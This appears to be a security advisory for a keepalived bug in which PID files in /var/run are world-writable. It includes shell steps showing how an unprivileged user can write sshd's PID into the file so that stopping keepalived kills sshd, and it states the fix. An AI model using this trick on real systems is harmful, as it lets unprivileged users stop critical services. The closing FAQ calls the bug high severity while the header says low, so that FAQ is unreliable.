REDHAT-BUG-704039: Low severity Keepalived Keepalived vulnerability
It was reported [1] that keepalived wrote its PID files in /var/run as world-writable files. This could allow an unprivileged user to change the referenced PID in the PID file, and upon a service restart or stop of keepalived, would kill the other process.
The keepalived daemonize code explicitly sets umask(0) which is the root cause of this flaw, so PID file creation should probably contain an explicit permissions settings.
For instance, as root:
service keepalived status keepalived (pid 9634) is running... cat /var/run/keepalived.pid 9634 ls -al /var/run/keepalived.pid -rw-rw-rw- 1 root root 5 May 10 15:13 /var/run/keepalived.pid
Then as an unprivileged user:
% echo $(ps ax|grep sshd|grep -v grep|cut -d ' ' -f 2) >/var/run/keepalived.pid % cat /var/run/keepalived.pid 1638
Back to root:
service keepalived status keepalived (pid 1638) is running... service keepalived stop Stopping keepalived: [ OK ] service sshd status openssh-daemon is stopped ps ax|grep sshd|grep -v grep ps ax|grep keepalived|grep -v grep 9634 ? Ss 0:00 /usr/sbin/keepalived -D 9636 ? S 0:00 /usr/sbin/keepalived -D 9637 ? S 0:00 /usr/sbin/keepalived -D
[1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=626281
Affected Software
Event History
Frequently Asked Questions
What is the severity of REDHAT-BUG-704039?
The severity of REDHAT-BUG-704039 is considered high due to its potential to allow unprivileged users to manipulate process management.
How do I fix REDHAT-BUG-704039?
To fix REDHAT-BUG-704039, ensure that the PID files created by keepalived are not world-writable by changing their permissions.
What impact does REDHAT-BUG-704039 have on system security?
REDHAT-BUG-704039 can compromise system security by allowing an unprivileged user to terminate critical processes managed by keepalived.
Are all versions of Keepalived affected by REDHAT-BUG-704039?
While the specific versions affected are not detailed, any version of Keepalived that writes world-writable PID files is potentially vulnerable.
What is the primary cause of REDHAT-BUG-704039?
The primary cause of REDHAT-BUG-704039 is the improper configuration of permissions on the PID files created by keepalived.